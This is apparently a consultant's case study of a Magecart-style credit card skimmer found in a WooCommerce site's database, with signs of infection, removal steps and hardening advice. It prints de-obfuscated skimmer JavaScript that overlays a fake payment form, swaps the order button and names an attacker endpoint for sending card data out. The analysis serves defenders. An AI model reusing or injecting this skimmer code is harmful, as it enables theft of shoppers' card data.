Quick Summary: WooCommerce Fake Payment Form Malware
The Threat: A “Magecart” style JavaScript injection that overlays a fake credit card form on your WooCommerce checkout to steal customer data (Data Exfiltration).
The Fix Protocol:
- Scan: Check
wp_optionstable forsite_wide_headerinjections. - Analyze: Look for unauthorized JavaScript loaded from external domains (e.g.,
fabulo.xyz). - Clean: Manually purge the malicious code from the database and clear Redis/Cloudflare caches.
Is your WooCommerce checkout page behaving strangely? Are legitimate orders failing while customers complain about stolen credit card info?
You might be a victim of a Credit Card Skimmer (technically known as a Magecart attack or Payment Gateway Interception). This is one of the most dangerous forms of WordPress malware because it happens on the customer’s browser (Client-Side), meaning your server logs might look completely normal while your customers’ sensitive financial data is being stolen.
In this comprehensive case study, I will walk you through a real-world incident where I detected and removed a sophisticated “Fake Payment Form” malware from a compromised WooCommerce site. I’ll show you the exact symptoms, the malicious code, and the manual removal steps to restore your site’s PCI Compliance.
5 Signs Your WooCommerce Checkout is Hacked
Unlike standard spam hacks, skimmers try to be invisible. However, there are subtle “glitches” that reveal their presence. If you see any of these, stop processing payments immediately:
- Double Payment Forms: You see two sets of credit card fields or the styling looks slightly “off” (different font or spacing).
- “Fake” Errors: Customers click “Place Order,” see a loading spinner, and then get a generic error, but no transaction is recorded in Stripe/PayPal.
- Unknown External Scripts: Your browser’s Network Tab shows requests to strange domains (e.g.,
api-cdn-store.com,fabulo.xyz) during checkout. - Admin Users You Didn’t Create: Check for users named
system_adminorwp_updaterwith Administrator privileges. - Sudden Drop in Orders: Traffic is normal, but completed sales have dropped to zero.
Phase 1: Analyzing the “Magecart” JavaScript
I tracked the source of the injection to the WordPress database. The malware wasn’t in a plugin file; it was hidden inside the wp_options table, specifically injected into a custom header script setting used by many themes.
Here is the de-obfuscated code I found. This script utilizes DOM Manipulation to swap the legitimate WooCommerce payment fields with a fraudulent harvesting form.
// 1. Target the Victim
let isChecked = localStorage.getItem("already_checked");
let btnId = "place_order";
let isFrame = true;
let attackerURL = "https://fabulo.xyz/api/accept-car"; // The thief's server
// 2. Inject the Fake Form Overlay
window.addEventListener("load", e => {
if (document.URL.includes("checkout") && isChecked != "1") {
setTimeout(() => {
let frame = document.querySelector(".woocommerce-checkout-payment");
let newDiv = document.createElement('div');
newDiv.innerHTML = `
<div class="fake-payment-form">
<h3>Secure Payment</h3>
<input type="text" id="cardNum" placeholder="Card Number">
<input type="text" id="exp" placeholder="MM/YY">
<input type="text" id="cvv" placeholder="CVC">
</div>
`;
frame.appendChild(newDiv);
}, 5000);
}
});
The “Button Swap” Persistence
The most clever part of this malware was how it handled the submit button. It uses a setInterval loop to constantly check if the real “Place Order” button exists. If found, it destroys it and replaces it with a clone event listener that sends data to the hacker instead of Stripe.
// 3. Swap the Button & Hijack the Click
setInterval(() => {
let realBtn = document.getElementById("place_order");
if (realBtn) {
let fakeBtn = realBtn.cloneNode(true);
fakeBtn.id = "fake_place_order";
fakeBtn.addEventListener("click", stealData); // Triggers data exfiltration
realBtn.remove(); // Deletes the real button
document.querySelector(".form-row").appendChild(fakeBtn);
}
}, 2000);
This ensures that even if WooCommerce refreshes the checkout via AJAX (which happens when you change shipping addresses), the malware re-attaches itself instantly.
Phase 2: The Manual Removal Protocol
Because this malware lived in the database, reinstalling WordPress core files or reinstalling plugins would not have fixed it. This is why automated scanners like Wordfence or Sucuri often miss specific database-based skimmers—they primarily scan files.
Step 1: Database Surgery
I used a raw SQL query to locate the specific option containing the payload. In this case, it was hiding in a theme setting for “Header Scripts.”
SELECT * FROM wp_options WHERE option_value LIKE '%fabulo.xyz%';
Once identified, I manually cleaned the option_value to remove the JavaScript while keeping the legitimate header tracking codes (like Google Analytics) intact.
Step 2: Cleaning the Cache (Critical Step)
Skimmers love caching. Even after removing the code from the database, the malicious JavaScript was still being served to visitors from the Redis Object Cache and Cloudflare CDN.
My Cleanup Protocol:
- Flush WordPress Object Cache (Redis/Memcached) via CLI or Hosting Panel.
- Purge “Everything” in Cloudflare.
- Clear Autoptimize/WP Rocket file caches to regenerate minified JS files.
How to Secure WooCommerce Against Skimmers
This attack was likely possible because of a compromised administrator account or an SQL injection vulnerability in an abandoned plugin. To prevent future infections:
- Restrict Admin Access: Use a plugin to limit login attempts and enforce Two-Factor Authentication (2FA) for all shop managers and admins.
- Monitor Header/Footer Scripts: Regularly check your theme’s “Insert Headers and Footers” settings. This is a favorite hiding spot for skimmers.
- Use a Web Application Firewall (WAF): Cloudflare Pro or Wordfence Premium can block the initial SQL injection (SQLi) that allows hackers to write to your database.
FAQ: WooCommerce Malware & Skimmers
Can a plugin scan find this malware?
Often, no. Most free plugins scan files (PHP), but this malware lives in the database (SQL) and executes in the browser (JS). You need a database-aware scanner or a manual audit.
Does this affect PayPal or Stripe?
Yes. The malware intercepts the credit card numbers before they are sent to PayPal or Stripe. The payment processor never even sees the transaction.
What should I do if my customers’ data was stolen?
You must clean the site immediately, force a password reset for all users, and notify your customers. You may also need to review your PCI Compliance reporting.
Need Urgent Help?
If you suspect your WooCommerce store has a credit card skimmer, shut down your checkout immediately (enable Maintenance Mode) to stop the theft. You are legally liable for customer data loss.
I can manually audit your database, remove the skimmer, and secure your checkout flow today.
